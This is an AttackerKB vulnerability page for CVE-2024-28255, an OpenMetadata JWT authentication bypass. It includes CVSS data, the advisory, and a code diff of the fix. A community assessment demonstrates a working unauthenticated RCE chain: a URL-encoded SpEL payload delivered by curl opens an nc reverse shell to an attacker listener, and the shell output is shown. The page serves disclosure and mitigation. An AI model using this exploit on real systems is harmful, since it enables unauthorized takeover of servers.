Lucene search

K
attackerkbAttackerKBAKB:E3471EB5-45B4-4448-A04E-12FFFADDCF95
HistoryMar 15, 2024 - 12:00 a.m.

CVE-2024-28255

2024-03-1500:00:00
attackerkb.com
7
openmetadata
jwt authentication
bypass
vulnerability
version 1.2.4
upgrade
authentication mechanism
ghsl-2023-237

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

8.2

Confidence

Low

EPSS

0.001

Percentile

29.1%

OpenMetadata is a unified platform for discovery, observability, and governance powered by a central metadata repository, in-depth lineage, and seamless team collaboration. The JwtFilter handles the API authentication by requiring and verifying JWT tokens. When a new request comes in, the request’s path is checked against this list. When the request’s path contains any of the excluded endpoints the filter returns without validating the JWT. Unfortunately, an attacker may use Path Parameters to make any path contain any arbitrary strings. For example, a request to GET /api/v1;v1%2fusers%2flogin/events/subscriptions/validation/condition/111 will match the excluded endpoint condition and therefore will be processed with no JWT validation allowing an attacker to bypass the authentication mechanism and reach any arbitrary endpoint, including the ones listed above that lead to arbitrary SpEL expression injection. This bypass will not work when the endpoint uses the SecurityContext.getUserPrincipal() since it will return null and will throw an NPE. This issue may lead to authentication bypass and has been addressed in version 1.2.4. Users are advised to upgrade. There are no known workarounds for this vulnerability. This issue is also tracked as GHSL-2023-237.

Recent assessments:

h00die-gr3y at July 28, 2024 8:24pm UTC reported:

Interesting case that allows for unauthenticated access to JWT token protected API calls in OpenMetada version 1.2.3 and below.
Reading the vulnerability description, it has to do with a incomplete Jwtfilter that allows to bypass this JWT token authentication.

I have pulled these specific code changes between OpenMetadata version 1.2.3 and 1.2.4.
It is obvious that implementation of the Jwtfilter is not strict using uriInfo.getPath().contains(endpoint) in version 1.2.3, whilst in version 1.2.4 it has been fixed and restricted using uriInfo.getPath().equalsIgnoreCase(endpoint)

OpenMetadata 1.2.3 excerpt from JwtFilter.java

public static final List<String> EXCLUDED_ENDPOINTS =
      List.of(
          "v1/system/config",
          "v1/users/signup",
          "v1/system/version",
          "v1/users/registrationConfirmation",
          "v1/users/resendRegistrationToken",
          "v1/users/generatePasswordResetLink",
          "v1/users/password/reset",
          "v1/users/checkEmailInUse",
          "v1/users/login",
          "v1/users/refresh");

  public void filter(ContainerRequestContext requestContext) {
    UriInfo uriInfo = requestContext.getUriInfo();
    if (EXCLUDED_ENDPOINTS.stream().anyMatch(endpoint -> uriInfo.getPath().contains(endpoint))) {
      return;
    }

OpenMetadata 1.2.4 excerpt from JwtFilter.java

public static final List<String> EXCLUDED_ENDPOINTS =
      List.of(
          "v1/system/config/jwks",
          "v1/system/config/authorizer",
          "v1/system/config/customLogoConfiguration",
          "v1/system/config/auth",
          "v1/users/signup",
          "v1/system/version",
          "v1/users/registrationConfirmation",
          "v1/users/resendRegistrationToken",
          "v1/users/generatePasswordResetLink",
          "v1/users/password/reset",
          "v1/users/checkEmailInUse",
          "v1/users/login",
          "v1/users/refresh");

  public void filter(ContainerRequestContext requestContext) {
    UriInfo uriInfo = requestContext.getUriInfo();
    if (EXCLUDED_ENDPOINTS.stream()
        .anyMatch(endpoint -> uriInfo.getPath().equalsIgnoreCase(endpoint))) {
      return;
    }

By adding an URL from the excluded list to a JWT token protected API url, you can potentially bypass the authentication and use the existing sPEL injection vulnerabilities in OpenMetadata version 1.2.3 and below:
CVE-2024-28254 –> GET /api/v1;v1%2fusers%2flogin/events/subscriptions/validation/condition/<expression>
CVE-2024-28848 –> GET /api/v1;v1%2fusers%2flogin/policies/validation/condition/<expression>

Small demonstration

Chaining CVE-2024-28255 and CVE-2024-28254 to get an unauthenticated RCE via sPEL injection
sPEL injection: T(java.lang.Runtime).getRuntime().exec('nc 192.168.201.8 4444 -e /bin/sh')
Listener: nc -lvnp 4444
Also ensure that you URL encode the payload, otherwise your GET request might not deliver the expected response.

 # curl 'http://192.168.201.42:8585/api/v1;v1%2fusers%2flogin/events/subscriptions/validation/condition/T%28java.lang.Runtime%29.getRuntime%28%29.exec%28%27nc%20192.168.201.8%204444%20-e%20%2Fbin%2Fsh%27%29'
{"code":400,"message":"Failed to evaluate - EL1001E: Type conversion problem, cannot convert from java.lang.ProcessImpl to java.lang.Boolean"}

RCE is succesfull if you receive a β€œFailed to evaluate – EL1001E” message.

# nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 192.168.201.42 63333
pwd
/opt/openmetadata
id
uid=1000(openmetadata) gid=1000(openmetadata) groups=1000(openmetadata)
uname -a
Linux aec47ea48dc2 6.6.32-linuxkit #1 SMP PREEMPT_DYNAMIC Thu Jun 13 14:14:43 UTC 2024 x86_64 Linux

You can do the same by chaining CVE-2024-28255 and CVE-2024-28848.

By the way, most of the API enpoints are not susceptible to this bypass because most of these endpoint are using the SecurityContext.getUserPrincipal() that will return null using this JWT authentication bypass. You will get an error message as listed below.

OpenMetadata API request to list all databases

GET /api/v1;v1%2fusers%2flogin/databases HTTP/1.1
Host: 192.168.201.42:8585
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Accept: */*
Connection: keep-alive

Response

HTTP/1.1 401 Unauthorized
Date: Wed, 31 Jul 2024 13:02:04 GMT
Content-Type: application/json
WWW-Authenticate: om-auth
Content-Length: 57
{ "code":401, "message":"No principal in security context" }

There is Metasploit module available that exploits this vulnerability in combination with the sPEL injection vulnerabilities.
You can find the module here at PR 19347.

Mitigation

Upgrade to the latest release of OpenMetadata or at least upgrade to the patched version 1.2.4.

References

CVE-2024-28255
CVE-2024-28254
CVE-2024-28848
OpenMetadata Advisory GHSL-2023-235 – GHSL-2023-237
OpenMetadata Quickstart Docker deployment
sPEL injections
HackTricks Expression Language
Metasploit OpenMetadata authentication bypass and SpEL injection exploit chain

Credits

Alvaro Munoz alias pwntester (<https://github.com/pwntester&gt;) – Discovery

Assessed Attacker Value: 4
Assessed Attacker Value: 4Assessed Attacker Value: 5

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

8.2

Confidence

Low

EPSS

0.001

Percentile

29.1%